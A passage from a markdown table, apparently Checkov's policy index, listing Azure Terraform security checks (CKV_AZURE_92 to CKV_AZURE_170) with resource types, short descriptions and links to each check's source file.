[VMStorageOsDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMStorageOsDisk.py)                                                                                               |\n| 3802 | CKV_AZURE_92    | resource | azurerm_windows_virtual_machine                                  | Ensure that Virtual Machines use managed disks                                                                                                                                                           | Terraform | [VMStorageOsDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMStorageOsDisk.py)                                                                                               |\n| 3803 | CKV_AZURE_93    | resource | azurerm_managed_disk                                             | Ensure that managed disks use a specific set of disk encryption sets for the customer-managed key encryption                                                                                             | Terraform | [AzureManagedDiskEncryptionSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureManagedDiskEncryptionSet.py)                                                                   |\n| 3804 | CKV_AZURE_94    | resource | azurerm_mysql_flexible_server                                    | Ensure that My SQL server enables geo-redundant backups                                                                                                                                                  | Terraform | [MySQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLGeoBackupEnabled.py)                                                                                   |\n| 3805 | CKV_AZURE_94    | resource | azurerm_mysql_server                                             | Ensure that My SQL server enables geo-redundant backups                                                                                                                                                  | Terraform | [MySQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLGeoBackupEnabled.py)                                                                                   |\n| 3806 | CKV_AZURE_95    | resource | azurerm_virtual_machine_scale_set                                | Ensure that automatic OS image patching is enabled for Virtual Machine Scale Sets                                                                                                                        | Terraform | [VMScaleSetsAutoOSImagePatchingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMScaleSetsAutoOSImagePatchingEnabled.py)                                                   |\n| 3807 | CKV_AZURE_96    | resource | azurerm_mysql_server                                             | Ensure that MySQL server enables infrastructure encryption                                                                                                                                               | Terraform | [MySQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLEncryptionEnabled.py)                                                                                 |\n| 3808 | CKV_AZURE_97    | resource | azurerm_linux_virtual_machine_scale_set                          | Ensure that Virtual machine scale sets have encryption at host enabled                                                                                                                                   | Terraform | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMEncryptionAtHostEnabled.py)                                                                           |\n| 3809 | CKV_AZURE_97    | resource | azurerm_windows_virtual_machine_scale_set                        | Ensure that Virtual machine scale sets have encryption at host enabled                                                                                                                                   | Terraform | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMEncryptionAtHostEnabled.py)                                                                           |\n| 3810 | CKV_AZURE_98    | resource | azurerm_container_group                                          | Ensure that Azure Container group is deployed into virtual network                                                                                                                                       | Terraform | [AzureContainerGroupDeployedIntoVirtualNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureContainerGroupDeployedIntoVirtualNetwork.py)                                   |\n| 3811 | CKV_AZURE_99    | resource | azurerm_cosmosdb_account                                         | Ensure Cosmos DB accounts have restricted access                                                                                                                                                         | Terraform | [CosmosDBAccountsRestrictedAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBAccountsRestrictedAccess.py)                                                             |\n| 3812 | CKV_AZURE_100   | resource | azurerm_cosmosdb_account                                         | Ensure that Cosmos DB accounts have customer-managed keys to encrypt data at rest                                                                                                                        | Terraform | [CosmosDBHaveCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBHaveCMK.py)                                                                                               |\n| 3813 | CKV_AZURE_101   | resource | azurerm_cosmosdb_account                                         | Ensure that Azure Cosmos DB disables public network access                                                                                                                                               | Terraform | [CosmosDBDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBDisablesPublicNetwork.py)                                                                   |\n| 3814 | CKV_AZURE_102   | resource | azurerm_postgresql_server                                        | Ensure that PostgreSQL server enables geo-redundant backups                                                                                                                                              | Terraform | [PostgressSQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgressSQLGeoBackupEnabled.py)                                                                     |\n| 3815 | CKV_AZURE_103   | resource | azurerm_data_factory                                             | Ensure that Azure Data Factory uses Git repository for source control                                                                                                                                    | Terraform | [DataFactoryUsesGitRepository.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataFactoryUsesGitRepository.py)                                                                     |\n| 3816 | CKV_AZURE_104   | resource | azurerm_data_factory                                             | Ensure that Azure Data factory public network access is disabled                                                                                                                                         | Terraform | [DataFactoryNoPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataFactoryNoPublicNetworkAccess.py)                                                             |\n| 3817 | CKV_AZURE_105   | resource | azurerm_data_lake_store                                          | Ensure that Data Lake Store accounts enables encryption                                                                                                                                                  | Terraform | [DataLakeStoreEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataLakeStoreEncryption.py)                                                                               |\n| 3818 | CKV_AZURE_106   | resource | azurerm_eventgrid_domain                                         | Ensure that Azure Event Grid Domain public network access is disabled                                                                                                                                    | Terraform | [EventgridDomainNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridDomainNetworkAccess.py)                                                                     |\n| 3819 | CKV_AZURE_107   | resource | azurerm_api_management                                           | Ensure that API management services use virtual networks                                                                                                                                                 | Terraform | [APIServicesUseVirtualNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIServicesUseVirtualNetwork.py)                                                                     |\n| 3820 | CKV_AZURE_108   | resource | azurerm_iothub                                                   | Ensure that Azure IoT Hub disables public network access                                                                                                                                                 | Terraform | [IoTNoPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/IoTNoPublicNetworkAccess.py)                                                                             |\n| 3821 | CKV_AZURE_109   | resource | azurerm_key_vault                                                | Ensure that key vault allows firewall rules settings                                                                                                                                                     | Terraform | [KeyVaultEnablesFirewallRulesSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyVaultEnablesFirewallRulesSettings.py)                                                     |\n| 3822 | CKV_AZURE_110   | resource | azurerm_key_vault                                                | Ensure that key vault enables purge protection                                                                                                                                                           | Terraform | [KeyVaultEnablesPurgeProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyVaultEnablesPurgeProtection.py)                                                                 |\n| 3823 | CKV_AZURE_111   | resource | azurerm_key_vault                                                | Ensure that key vault enables soft delete                                                                                                                                                                | Terraform | [KeyVaultEnablesSoftDelete.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyVaultEnablesSoftDelete.py)                                                                           |\n| 3824 | CKV_AZURE_112   | resource | azurerm_key_vault_key                                            | Ensure that key vault key is backed by HSM                                                                                                                                                               | Terraform | [KeyBackedByHSM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyBackedByHSM.py)                                                                                                 |\n| 3825 | CKV_AZURE_113   | resource | azurerm_mssql_server                                             | Ensure that SQL server disables public network access                                                                                                                                                    | Terraform | [SQLServerPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerPublicAccessDisabled.py)                                                                   |\n| 3826 | CKV_AZURE_114   | resource | azurerm_key_vault_secret                                         | Ensure that key vault secrets have \"content_type\" set                                                                                                                                                    | Terraform | [SecretContentType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecretContentType.py)                                                                                           |\n| 3827 | CKV_AZURE_115   | resource | azurerm_kubernetes_cluster                                       | Ensure that AKS enables private clusters                                                                                                                                                                 | Terraform | [AKSEnablesPrivateClusters.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSEnablesPrivateClusters.py)                                                                           |\n| 3828 | CKV_AZURE_116   | resource | azurerm_kubernetes_cluster                                       | Ensure that AKS uses Azure Policies Add-on                                                                                                                                                               | Terraform | [AKSUsesAzurePoliciesAddon.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSUsesAzurePoliciesAddon.py)                                                                           |\n| 3829 | CKV_AZURE_117   | resource | azurerm_kubernetes_cluster                                       | Ensure that AKS uses disk encryption set                                                                                                                                                                 | Terraform | [AKSUsesDiskEncryptionSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSUsesDiskEncryptionSet.py)                                                                             |\n| 3830 | CKV_AZURE_118   | resource | azurerm_network_interface                                        | Ensure that Network Interfaces disable IP forwarding                                                                                                                                                     | Terraform | [NetworkInterfaceEnableIPForwarding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NetworkInterfaceEnableIPForwarding.py)                                                         |\n| 3831 | CKV_AZURE_119   | resource | azurerm_network_interface                                        | Ensure that Network Interfaces don't use public IPs                                                                                                                                                      | Terraform | [AzureNetworkInterfacePublicIPAddressId.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureNetworkInterfacePublicIPAddressId.yaml)                                         |\n| 3832 | CKV_AZURE_120   | resource | azurerm_application_gateway                                      | Ensure that Application Gateway enables WAF                                                                                                                                                              | Terraform | [ApplicationGatewayEnablesWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/ApplicationGatewayEnablesWAF.yaml)                                                             |\n| 3833 | CKV_AZURE_120   | resource | azurerm_web_application_firewall_policy                          | Ensure that Application Gateway enables WAF                                                                                                                                                              | Terraform | [ApplicationGatewayEnablesWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/ApplicationGatewayEnablesWAF.yaml)                                                             |\n| 3834 | CKV_AZURE_121   | resource | azurerm_frontdoor                                                | Ensure that Azure Front Door enables WAF                                                                                                                                                                 | Terraform | [AzureFrontDoorEnablesWAF.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureFrontDoorEnablesWAF.py)                                                                             |\n| 3835 | CKV_AZURE_122   | resource | azurerm_web_application_firewall_policy                          | Ensure that Application Gateway uses WAF in \"Detection\" or \"Prevention\" modes                                                                                                                            | Terraform | [AppGWUseWAFMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppGWUseWAFMode.py)                                                                                               |\n| 3836 | CKV_AZURE_123   | resource | azurerm_frontdoor_firewall_policy                                | Ensure that Azure Front Door uses WAF in \"Detection\" or \"Prevention\" modes                                                                                                                               | Terraform | [FrontdoorUseWAFMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FrontdoorUseWAFMode.py)                                                                                       |\n| 3837 | CKV_AZURE_124   | resource | azurerm_search_service                                           | Ensure that Azure Cognitive Search disables public network access                                                                                                                                        | Terraform | [AzureSearchPublicNetworkAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchPublicNetworkAccessDisabled.py)                                                 |\n| 3838 | CKV_AZURE_125   | resource | azurerm_service_fabric_cluster                                   | Ensures that Service Fabric use three levels of protection available                                                                                                                                     | Terraform | [AzureServiceFabricClusterProtectionLevel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServiceFabricClusterProtectionLevel.py)                                             |\n| 3839 | CKV_AZURE_126   | resource | azurerm_service_fabric_cluster                                   | Ensures that Active Directory is used for authentication for Service Fabric                                                                                                                              | Terraform | [ActiveDirectoryUsedAuthenticationServiceFabric.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ActiveDirectoryUsedAuthenticationServiceFabric.py)                                 |\n| 3840 | CKV_AZURE_127   | resource | azurerm_mysql_server                                             | Ensure that My SQL server enables Threat detection policy                                                                                                                                                | Terraform | [MySQLTreatDetectionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLTreatDetectionEnabled.py)                                                                         |\n| 3841 | CKV_AZURE_128   | resource | azurerm_postgresql_server                                        | Ensure that PostgreSQL server enables Threat detection policy                                                                                                                                            | Terraform | [PostgresSQLTreatDetectionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgresSQLTreatDetectionEnabled.py)                                                             |\n| 3842 | CKV_AZURE_129   | resource | azurerm_mariadb_server                                           | Ensure that MariaDB server enables geo-redundant backups                                                                                                                                                 | Terraform | [MariaDBGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MariaDBGeoBackupEnabled.py)                                                                               |\n| 3843 | CKV_AZURE_130   | resource | azurerm_postgresql_server                                        | Ensure that PostgreSQL server enables infrastructure encryption                                                                                                                                          | Terraform | [PostgreSQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLEncryptionEnabled.py)                                                                       |\n| 3844 | CKV_AZURE_131   | resource | azurerm_security_center_contact                                  | Ensure that 'Security contact emails' is set                                                                                                                                                             | Terraform | [SecurityCenterContactEmails.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterContactEmails.py)                                                                       |\n| 3845 | CKV_AZURE_132   | resource | azurerm_cosmosdb_account                                         | Ensure cosmosdb does not allow privileged escalation by restricting management plane changes                                                                                                             | Terraform | [CosmosDBDisableAccessKeyWrite.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBDisableAccessKeyWrite.py)                                                                   |\n| 3846 | CKV_AZURE_133   | resource | azurerm_frontdoor_firewall_policy                                | Ensure Front Door WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell                                                                                                               | Terraform | [FrontDoorWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FrontDoorWAFACLCVE202144228.py)                                                                       |\n| 3847 | CKV_AZURE_134   | resource | azurerm_cognitive_account                                        | Ensure that Cognitive Services accounts disable public network access                                                                                                                                    | Terraform | [CognitiveServicesDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CognitiveServicesDisablesPublicNetwork.py)                                                 |\n| 3848 | CKV_AZURE_135   | resource | azurerm_web_application_firewall_policy                          | Ensure Application Gateway WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell                                                                                                      | Terraform | [AppGatewayWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppGatewayWAFACLCVE202144228.py)                                                                     |\n| 3849 | CKV_AZURE_136   | resource | azurerm_postgresql_flexible_server                               | Ensure that PostgreSQL Flexible server enables geo-redundant backups                                                                                                                                     | Terraform | [PostgreSQLFlexiServerGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLFlexiServerGeoBackupEnabled.py)                                                   |\n| 3850 | CKV_AZURE_137   | resource | azurerm_container_registry                                       | Ensure ACR admin account is disabled                                                                                                                                                                     | Terraform | [ACRAdminAccountDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRAdminAccountDisabled.py)                                                                               |\n| 3851 | CKV_AZURE_138   | resource | azurerm_container_registry                                       | Ensures that ACR disables anonymous pulling of images                                                                                                                                                    | Terraform | [ACRAnonymousPullDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRAnonymousPullDisabled.py)                                                                             |\n| 3852 | CKV_AZURE_139   | resource | azurerm_container_registry                                       | Ensure ACR set to disable public networking                                                                                                                                                              | Terraform | [ACRPublicNetworkAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRPublicNetworkAccessDisabled.py)                                                                 |\n| 3853 | CKV_AZURE_140   | resource | azurerm_cosmosdb_account                                         | Ensure that Local Authentication is disabled on CosmosDB                                                                                                                                                 | Terraform | [CosmosDBLocalAuthDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBLocalAuthDisabled.py)                                                                           |\n| 3854 | CKV_AZURE_141   | resource | azurerm_kubernetes_cluster                                       | Ensure AKS local admin account is disabled                                                                                                                                                               | Terraform | [AKSLocalAdminDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSLocalAdminDisabled.py)                                                                                   |\n| 3855 | CKV_AZURE_142   | resource | azurerm_machine_learning_compute_cluster                         | Ensure Machine Learning Compute Cluster Local Authentication is disabled                                                                                                                                 | Terraform | [MLCCLADisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MLCCLADisabled.py)                                                                                                 |\n| 3856 | CKV_AZURE_143   | resource | azurerm_kubernetes_cluster                                       | Ensure AKS cluster nodes do not have public IP addresses                                                                                                                                                 | Terraform | [AKSNodePublicIpDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSNodePublicIpDisabled.py)                                                                               |\n| 3857 | CKV_AZURE_144   | resource | azurerm_machine_learning_workspace                               | Ensure that Public Access is disabled for Machine Learning Workspace                                                                                                                                     | Terraform | [MLPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MLPublicAccess.py)                                                                                                 |\n| 3858 | CKV_AZURE_145   | resource | azurerm_function_app                                             | Ensure Function app is using the latest version of TLS encryption                                                                                                                                        | Terraform | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py)                                                                             |\n| 3859 | CKV_AZURE_145   | resource | azurerm_function_app_slot                                        | Ensure Function app is using the latest version of TLS encryption                                                                                                                                        | Terraform | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py)                                                                             |\n| 3860 | CKV_AZURE_145   | resource | azurerm_linux_function_app                                       | Ensure Function app is using the latest version of TLS encryption                                                                                                                                        | Terraform | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py)                                                                             |\n| 3861 | CKV_AZURE_145   | resource | azurerm_linux_function_app_slot                                  | Ensure Function app is using the latest version of TLS encryption                                                                                                                                        | Terraform | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py)                                                                             |\n| 3862 | CKV_AZURE_145   | resource | azurerm_windows_function_app                                     | Ensure Function app is using the latest version of TLS encryption                                                                                                                                        | Terraform | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py)                                                                             |\n| 3863 | CKV_AZURE_145   | resource | azurerm_windows_function_app_slot                                | Ensure Function app is using the latest version of TLS encryption                                                                                                                                        | Terraform | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py)                                                                             |\n| 3864 | CKV_AZURE_146   | resource | azurerm_postgresql_configuration                                 | Ensure server parameter 'log_retention' is set to 'ON' for PostgreSQL Database Server                                                                                                                    | Terraform | [PostgreSQLServerLogRetentionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerLogRetentionEnabled.py)                                                       |\n| 3865 | CKV_AZURE_147   | resource | azurerm_postgresql_server                                        | Ensure PostgreSQL is using the latest version of TLS encryption                                                                                                                                          | Terraform | [PostgreSQLMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLMinTLSVersion.py)                                                                               |\n| 3866 | CKV_AZURE_148   | resource | azurerm_redis_cache                                              | Ensure Redis Cache is using the latest version of TLS encryption                                                                                                                                         | Terraform | [RedisCacheMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/RedisCacheMinTLSVersion.py)                                                                               |\n| 3867 | CKV_AZURE_149   | resource | azurerm_linux_virtual_machine                                    | Ensure that Virtual machine does not enable password authentication                                                                                                                                      | Terraform | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMDisablePasswordAuthentication.py)                                                               |\n| 3868 | CKV_AZURE_149   | resource | azurerm_linux_virtual_machine_scale_set                          | Ensure that Virtual machine does not enable password authentication                                                                                                                                      | Terraform | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMDisablePasswordAuthentication.py)                                                               |\n| 3869 | CKV_AZURE_150   | resource | azurerm_machine_learning_compute_cluster                         | Ensure Machine Learning Compute Cluster Minimum Nodes Set To 0                                                                                                                                           | Terraform | [MLComputeClusterMinNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MLComputeClusterMinNodes.py)                                                                             |\n| 3870 | CKV_AZURE_151   | resource | azurerm_windows_virtual_machine                                  | Ensure Windows VM enables encryption                                                                                                                                                                     | Terraform | [WinVMEncryptionAtHost.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/WinVMEncryptionAtHost.py)                                                                                   |\n| 3871 | CKV_AZURE_152   | resource | azurerm_api_management                                           | Ensure Client Certificates are enforced for API management                                                                                                                                               | Terraform | [APIManagementCertsEnforced.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIManagementCertsEnforced.py)                                                                         |\n| 3872 | CKV_AZURE_153   | resource | azurerm_app_service_slot                                         | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot                                                                                                                             | Terraform | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotHTTPSOnly.py)                                                                               |\n| 3873 | CKV_AZURE_153   | resource | azurerm_linux_web_app_slot                                       | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot                                                                                                                             | Terraform | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotHTTPSOnly.py)                                                                               |\n| 3874 | CKV_AZURE_153   | resource | azurerm_windows_web_app_slot                                     | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot                                                                                                                             | Terraform | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotHTTPSOnly.py)                                                                               |\n| 3875 | CKV_AZURE_154   | resource | azurerm_app_service_slot                                         | Ensure the App service slot is using the latest version of TLS encryption                                                                                                                                | Terraform | [AppServiceSlotMinTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotMinTLS.py)                                                                                     |\n| 3876 | CKV_AZURE_155   | resource | azurerm_app_service_slot                                         | Ensure debugging is disabled for the App service slot                                                                                                                                                    | Terraform | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotDebugDisabled.py)                                                                       |\n| 3877 | CKV_AZURE_156   | resource | azurerm_mssql_database_extended_auditing_policy                  | Ensure default Auditing policy for a SQL Server is configured to capture and retain the activity logs                                                                                                    | Terraform | [MSSQLServerAuditPolicyLogMonitor.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MSSQLServerAuditPolicyLogMonitor.py)                                                             |\n| 3878 | CKV_AZURE_157   | resource | azurerm_synapse_workspace                                        | Ensure that Synapse workspace has data_exfiltration_protection_enabled                                                                                                                                   | Terraform | [SynapseWorkspaceEnablesDataExfilProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseWorkspaceEnablesDataExfilProtection.py)                                         |\n| 3879 | CKV_AZURE_158   | resource | azurerm_databricks_workspace                                     | Ensure Databricks Workspace data plane to control plane communication happens over private link                                                                                                          | Terraform | [DatabricksWorkspaceIsNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DatabricksWorkspaceIsNotPublic.py)                                                                 |\n| 3880 | CKV_AZURE_159   | resource | azurerm_function_app                                             | Ensure function app builtin logging is enabled                                                                                                                                                           | Terraform | [FunctionAppEnableLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppEnableLogging.py)                                                                             |\n| 3881 | CKV_AZURE_159   | resource | azurerm_function_app_slot                                        | Ensure function app builtin logging is enabled                                                                                                                                                           | Terraform | [FunctionAppEnableLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppEnableLogging.py)                                                                             |\n| 3882 | CKV_AZURE_160   | resource | azurerm_network_security_group                                   | Ensure that HTTP (port 80) access is restricted from the internet                                                                                                                                        | Terraform | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleHTTPAccessRestricted.py)                                                                       |\n| 3883 | CKV_AZURE_160   | resource | azurerm_network_security_rule                                    | Ensure that HTTP (port 80) access is restricted from the internet                                                                                                                                        | Terraform | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleHTTPAccessRestricted.py)                                                                       |\n| 3884 | CKV_AZURE_161   | resource | azurerm_spring_cloud_api_portal                                  | Ensures Spring Cloud API Portal is enabled on for HTTPS                                                                                                                                                  | Terraform | [SpringCloudAPIPortalHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SpringCloudAPIPortalHTTPSOnly.py)                                                                   |\n| 3885 | CKV_AZURE_162   | resource | azurerm_spring_cloud_api_portal                                  | Ensures Spring Cloud API Portal Public Access Is Disabled                                                                                                                                                | Terraform | [SpringCloudAPIPortalPublicAccessIsDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SpringCloudAPIPortalPublicAccessIsDisabled.py)                                         |\n| 3886 | CKV_AZURE_163   | resource | azurerm_container_registry                                       | Enable vulnerability scanning for container images.                                                                                                                                                      | Terraform | [ACRContainerScanEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRContainerScanEnabled.py)                                                                               |\n| 3887 | CKV_AZURE_164   | resource | azurerm_container_registry                                       | Ensures that ACR uses signed/trusted images                                                                                                                                                              | Terraform | [ACRUseSignedImages.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRUseSignedImages.py)                                                                                         |\n| 3888 | CKV_AZURE_165   | resource | azurerm_container_registry                                       | Ensure geo-replicated container registries to match multi-region container deployments.                                                                                                                  | Terraform | [ACRGeoreplicated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRGeoreplicated.py)                                                                                             |\n| 3889 | CKV_AZURE_166   | resource | azurerm_container_registry                                       | Ensure container image quarantine, scan, and mark images verified                                                                                                                                        | Terraform | [ACREnableImageQuarantine.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACREnableImageQuarantine.py)                                                                             |\n| 3890 | CKV_AZURE_167   | resource | azurerm_container_registry                                       | Ensure a retention policy is set to cleanup untagged manifests.                                                                                                                                          | Terraform | [ACREnableRetentionPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACREnableRetentionPolicy.py)                                                                             |\n| 3891 | CKV_AZURE_168   | resource | azurerm_kubernetes_cluster                                       | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods.                                                                                                                      | Terraform | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSMaxPodsMinimum.py)                                                                                           |\n| 3892 | CKV_AZURE_168   | resource | azurerm_kubernetes_cluster_node_pool                             | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods.                                                                                                                      | Terraform | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSMaxPodsMinimum.py)                                                                                           |\n| 3893 | CKV_AZURE_169   | resource | azurerm_kubernetes_cluster                                       | Ensure Azure Kubernetes Cluster (AKS) nodes use scale sets                                                                                                                                               | Terraform | [AKSPoolTypeIsScaleSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSPoolTypeIsScaleSet.py)                                                                                   |\n| 3894 | CKV_AZURE_170   | resource | azurerm_kubernetes_cluster                                       | Ensure that AKS use the Paid Sku for its SLA                                                                                                                                                             | Terraform | [AKSIsPaidSku.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSIsPaidSku.py)                                                                                                     |\n| 3895 | 